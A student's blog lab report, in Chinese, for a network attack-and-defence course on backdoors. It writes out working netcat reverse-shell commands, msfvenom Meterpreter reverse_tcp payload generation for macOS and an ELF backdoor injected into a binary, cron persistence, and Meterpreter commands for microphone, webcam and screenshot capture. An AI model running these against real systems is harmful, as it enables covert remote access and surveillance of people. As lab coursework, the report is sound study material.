20222308 2024-2025-2《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1 实践目标

  • 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
    PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
  • 使用socat获取主机操作Shell, 任务计划启动
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  • 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2 知识回顾
在计算机安全中,后门攻击是一种恶意软件攻击方式,攻击者通过在系统、应用程序或设备中植入未经授权的访问点,从而绕过正常的身份验证机制,获得对系统的隐蔽访问权限。这种"后门"允许攻击者在不被检测的情况下进入系统,执行各种恶意活动。

  • 例举你能想到的一个后门进入到你系统中的可能方式?

攻击者可以通过恶意软件(如木马、病毒或蠕虫)在目标系统上安装后门程序。这些程序通常隐藏在看似无害的应用程序中,一旦用户下载并运行,就可以让攻击者远程访问系统。
Zeus木马:Zeus是一个常见的恶意软件,它可以窃取用户的登录凭据和银行信息。攻击者通常通过钓鱼邮件传播Zeus,一旦用户下载并运行它,攻击者就可以获得对受感染计算机的完全控制权。
PowerShell反向Shell:攻击者可以利用PowerShell创建一个反向Shell,连接到其控制的服务器。例如,攻击者可以在目标计算机上执行命令,使用PowerShell脚本下载和执行恶意软件,建立持久的后门访问。

  • 例举你知道的后门如何启动起来(win及linux)的方式?

攻击者可以将后门程序注册为Windows服务,使其在系统启动时自动运行,使用命令行工具如sc,可以创建一个新的服务。
可以创建计划任务,使后门在特定时间间隔内运行或在特定事件发生时启动。
如果某个应用程序加载了名为example.dll的DLL,攻击者可以在同一目录下放置一个恶意的example.dll,当程序启动时会加载这个恶意DLL。

  • Meterpreter有哪些给你映像深刻的功能?

Meterpreter神奇又强大,既能生成后门程序,又能进行本地监听。给我留下最深刻印象的还是截屏、录音、摄像与记录击键记录,通过这些功能可以轻而易举的监控一个人在他的计算机上进行的操作。能够获取计算机使用者各种网络账户的密码,使其隐私暴露无遗。

  • 如何发现自己有系统有没有被安装后门?

针对我的macos,我了解了一下如何查看是否被安装后门。
可以打开 活动监视器(Applications > Utilities > Activity Monitor),查看正在运行的进程。查找可疑的进程,特别是那些没有明显功能或不认识的进程。可以通过查找进程名或进行网络搜索来确认进程的合法性。或者可以前往 系统偏好设置 > 用户与群组 > 登录项,查看在系统启动时自动启动的应用程序。删除任何可疑或不认识的项目。

2.实验过程

2.1 任务一:使用netcat获取主机操作Shell,cron启动某项任务

  • 首先ifconfig查看本机(macOS)和虚拟机(Linux)的ip地址。
    macOS地址为172.29.42.86 ,Linux地址为10.211.55.6

  • 使用nc/ncat/netcat进行连接。
ncat -lp 2308
//MAC运行的命令。运行ncat程序(ncat是nmap的一个组件)。-lp是-l 和 -p的合并命令,l表示listen,“监听”;p表示port,指定端口。
nc.traditional -e /bin/sh 172.29.42.86 2308
# Linux运行的命令。nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。


连接后,MAC成功获得了linux的shell。

  • 通过设置cron使得linux启动定时任务。

Cron 是 Linux 和 Unix-like 操作系统中的一个守护进程(daemon),用于调度周期性任务。
Cron 可以安排在特定时间运行的命令,如每天凌晨备份数据库、每周清理日志文件等。Cron 的灵活性和易用性使其成为系统管理员日常工作中不可或缺的工具。

我们在虚拟机输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;
进入编辑器模式,修改文件,加入* * * * * echo 2024NICE >/Home/ljt/Desktop/2_1.txt

在Linux主机中的/var/spool/cron/crontabs文件中会出现一个ljt(root)文件

ncat重新建立连接
mac终端输入echo "* * * * * echo "20222308ljt" > /home/ljt/Desktop/ljt2308.txt" > /var/spool/cron/crontabs/ljt

但是这一步执行之后,我的linux虚拟机的桌面上并没有看到ljt2308.txt的文件。但是查看cron文件也都没有问题。
2.2 任务二:使用socat获取主机操作Shell, 任务计划启动
在 macOS 上创建一个 Python 脚本,代码如下:

import socket

# 设置监听的IP地址和端口
HOST = '0.0.0.0'  # 允许任何 IP 连接
PORT = 2308 # 监听端口

# 创建一个 TCP socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen(1)
    print(f"Listening on {HOST}:{PORT}...")

    conn, addr = s.accept()
    with conn:
        print(f"Connected by {addr}")
        while True:
            # 接收客户端发送的数据
            data = conn.recv(1024)
            if not data:
                break
            print(f"Received: {data.decode()}")
            conn.sendall(data)  # 回送接收到的数据


在linux进行连接操作,启动本机mac的shell并监听成功。
2.3 任务三:使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
由于我使用的是Ubuntu,所以要先下载一下这个工具,终端输入:
sudo snap install metasploit-framework
msfvenom -p osx/aarch64/meterpreter/reverse_tcp LHOST=10.211.55.6 LPORT=2308 -f macho -o payload.macho

mac输入ncat.traditional -l 2308 > payload.macho准备接收这个macho文件
linux输入 nc 172..29.42.86 2308 < payload.macho
然后我们可以在mac找到macho文件了!

然后在linux终端,输入msfvenom启动服务。

use exploit/multi/handler 
# 设置一个多用途的监听器(handler),该监听器可以接收来自多个不同payload的连接

set payload osx/aarch64/meterpreter/reverse_tcp  
# 设置了 payload 为 macos aarch64  反向 TCP
#这里的负载选择的是arm64架构的

set LHOST 10.211.55.6
# 设置本地主机ip(linux的ip),与前面生成可执行文件的相同

set LPORT 2308
# 设置本地主机的端口号(linux的port)

exploit
#启动喽



至此,后门安装成功。
2.4 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
接着在上面msf界面依次输入

record_mic	//获取音频
#报错:cpu架构不支持这个功能
screenshot	//获取截屏
webcam_snap	//获取拍照





中间本机mac会进行全线管理的访问,需要我手动点击允许操作。
进行键盘操作的监控,但是也报错由于cpu问题。

之后进行提权,输入getsystem,唉,失败,也是由于架构问题。

2.5 任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
一开始在mac和linux进行注入操作。

但是始终运行不了,后来顿悟,由于这个pwn1文件只能在x86上运行,我这台设备在之前的四个任务里已经尽力了。
借设备!于是我又将魔爪伸向了我的舍友。
在linux终端输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.85.132 LPORT=2326 -x /home/r20222326/pwn2 -f elf >20222308pwn_2

打开msf服务,依次输入各种设置

运行pwn2

输入ls,成功列出目录,成功。

所有任务结束!!!

3.问题及解决方案

  • 问题1:任务一中文件权限不允许报错
  • 问题1解决方案:

由于kali中文件的权限在sudo情况下是完全可读可写的,所以我按照在kali的操作在ubuntu中运行。
后来发现需要提前手动更改一下我的文件权限,具体方法就是chmod 777 【文件】,之后传送就能顺利进行了。

  • 问题2:任务3,4中msf各种操作需要根据mac本自行修改
  • 问题2解决方案:

由于mac运行不了exe文件,所以我先上网查找,得知macos的可执行文件是.macho,然后学习了一下msf生成可执行文件的命令行的结构,其中比较重要的就是要把负载改成适用于本机系统的。中间反复操作了很多次。中间还设想生成python文件,但是启动服务之后依旧无法成功。

4.学习感悟、思考等

实验一的全程都是通过借同学电脑进行的,对于网络攻防这门课程的未来感到一片迷茫。
然后之后上课使用ubuntu莫名其妙就把PDtools下载好了,这个让我花费两天时间在kali安装却迟迟没有结果的工具。也就是说现在我的电脑上Ubuntu可以使用,kali却无法使用。思路一下子就打开了,都是linux系统,只不过少了一些可以手动安装的工具,但是也可以用自己的电脑进行实验了。说干就干,不过这一路实验下来也遇到了诸多困难,首先是我的本机操作系统还是和windows不一样,很多命令行和之前学长学姐的都不一样,所以我需要先搞清楚windows上的一些操作(包括在控制面板的操作),在macos上是否有能达到相同效果的设置或者操作。我可以肯定地说,我花费的时间和精力会比windows系统花费的更多。自己也需要在网络上查找新的资料,解决别人不会出现的问题。
通过结果来看,实验没有完全成功,还有一些可能可以解决但自己还没有解决的问题。但是我确实对于整个实验的任务都有了非常深刻的理解。感觉自己解决问题的能力又有了很大的提升。
最后看到截屏、摄像头使用操作的照片,内心成就感满满!!
期待下一次实验捏,不想再弄pwn1了呜呜呜(这样估计我就彻底不用借设备了)

posted on 2024-10-22 11:34  20222308李佳彤  阅读(11)  评论(0编辑  收藏  举报

导航